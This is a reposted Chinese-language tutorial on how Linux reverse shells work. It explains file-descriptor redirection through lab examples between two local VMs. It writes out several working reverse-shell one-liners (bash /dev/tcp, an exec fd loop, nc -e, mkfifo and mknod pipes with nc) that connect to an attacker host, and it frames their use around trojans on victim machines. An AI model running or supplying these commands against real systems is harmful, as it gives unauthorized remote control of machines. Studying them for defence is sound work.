Linux 反彈shell(二)反彈shell的本質

0X00 前言

在上一篇文章 Linux反彈shell(一)文件描述符與重定向,我們已經討論過了反彈shell中最核心也是相對較難理解的部分,那麼接下來我們就可以正式借反彈shell的實例分析回顧前一篇文章講的知識,並且也加深對反彈shell的理解吧。

0X01 什麼是反彈shell

reverse shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

0X02 爲什麼要反彈shell

通常用於被控端因防火牆受限、權限不足、端口被佔用等情形

假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那麼什麼情況下正向連接不太好用了呢?

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

2.它的ip會動態改變,你不能持續控制。

3.由於防火牆等限制,對方機器只能發送請求,不能接收請求。

4.對於病毒,木馬,受害者什麼時候能中招,對方的網絡環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,纔是上策。

那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。

0X03 反彈shell的本質是什麼

我們可以先以一個linux 下的反彈shell 的命令爲例來看一下反彈shell 的命令都做了些什麼,掌握了反彈的本質,再多的方法其實只是換了包裝而已。

實驗環境:

受害者:

Ubuntu Linux ------> 192.168.146.128

攻擊者:

Kali Linux ------> 192.168.146.129

我們就以最常見的bash爲例:
attacker機器上執行:

nc -lvp 2333

victim 機器上執行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

你就會看到下圖:

 

 

可以看到在攻擊機上出現了受害者機器的shell

解釋一下這條命令具體的含義:

1.bash -i

1)bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別

2)-i 這個參數表示的是產生交互式的shell

2./dev/tcp/ip/port

/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的,如下圖:

 

 

但是如果你在一方監聽端口的情況下對這個文件進行讀寫,就能實現與監聽端口的服務器的socket通信

實例1:

我們輸出字符串到這個文件裏

 

 

攻擊機上的輸出

 

 

實例2:

攻擊機上的輸入

 

 

受害者機器上的輸出

 

 

3.交互重定向

 

爲了實現交互,我們需要把受害者交互式shell的輸出重定向到攻擊機上
在受害者機器上輸入

bash -i > /dev/tcp/192.168.146.129/2333

示意圖:

 

 

如下圖所示,任何在受害者機器上執行的指令都不會直接回顯了,而是在攻擊者機器上回顯。

 

 

 

 

但是這裏有一個問題,攻擊者沒有能夠實現對受害者的控制,攻擊者執行的命令沒法在受害者電腦上執行。

於是我們似乎還需要一條這樣的指令

bash -i < /dev/tcp/192.168.146.129/2333

示意圖:

 

 

這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,自然就能執行了

 

 

 

 

現在我們需要將兩條指令結合起來(如果這條指令看不懂可以去看一下我上面提供的文章的鏈接再回來看這條指令):

bash -i > /dev/tcp/192.168.146.129/2333 0>&1

示意圖:

 

 

由這張示意圖可以很清楚地看到,輸入0是由/dev/tcp/192.168.146.129/2333 輸入的,也就是攻擊機的輸入,命令執行的結果1,會輸出到/dev/tcp/192.168.156.129/2333上,這就形成了一個迴路,實現了我們遠程交互式shell 的功能

如下圖所示,我在攻擊機上輸入 ifconfig,查看到的是受害者的ip ,也就是說我們目前已經基本完成了一個反彈shell 的功能。

 

 

注意:
但是這裏有一個問題,就是我們在受害者機器上依然能看到我們在攻擊者機器中執行的指令 ,如下圖所示,我們馬上解決

 

 

4. >&、&>

這個符號在我附上鍊接的那篇文章中也提到了,作用就是混合輸出(錯誤、正確輸出都輸出到一個地方)

現在我們解決一下前面的問題:

bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

 

 

可以看到命令並沒有回顯在受害者機器上,我們的目的達成了

 

 

當然我們也可以執行與之完全等價的指令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

至此,我們的反彈shell的經典語句就分析完了,通過這條語句的分析我們能大致的瞭解反彈shell的本質,以後碰到其他的反彈shell 的語句也能用類似的分析方法區分析,甚至我們也可以自己舉一反三創造更加絕妙的反彈shell 的語句

0X04 常見的反彈shell 的語句怎麼理解

1.方法一

bash -i>& /dev/tcp/192.168.146.129/2333 0>&1

bash -i>& /dev/tcp/192.168.146.129/2333 0<&1

這裏的唯一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不同,而對於這個文件描述符來講並沒有什麼區別(我在上面給出鏈接的文章中也特地用加粗的形式解釋了)

2.方法二

bash -i >& /dev/tcp/192.168.146.129/2333 <&2

等價於

bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

示意圖:

 

 

3.方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

簡單的解釋一下:

exec 5<>/dev/tcp/192.168.146.129/2333

這一句將文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 並且方式是讀寫方式(這種方法在我的前面的文章中也講到過),於是我們就能通過文件描述符對這個socket連接進行操作了

command|while read line do .....done

這個是一個非常經典的句子,它的原句是這樣的

while read line
do
       …
done < file

從文件中依次讀取每一行,將其賦值給 line 變量(當然這裏變量可以很多,以空格分隔,這裏我就舉一個變量的例子,如果是一個變量的話,那麼一整行都是它的了),之後再在循環中對line進行操作。

而現在我們不是從file 文件中輸入了,我們使用管道符對攻擊者機器上輸入的命令依次執行,並將標準輸出和標準錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現交互式shell的功能。

與之完全類似的還有下面這條指令,讀者有興趣可以自己分析一下:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

4.方法四

nc 如果安裝了正確的版本(存在-e 選項就能直接反彈shell)

nc -e /bin/sh 192.168.146.129 2333

但是如果是沒有-e 選項是不是就不能實現了呢?當然不是,我們可以向下面這樣

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

簡單的解釋:

mkfifo 命令首先創建了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標準輸出和標準錯誤輸出結果通過nc 傳到該管道,由此形成了一個迴路

類似的命令:

mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

轉載:https://xz.aliyun.com/t/2549
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章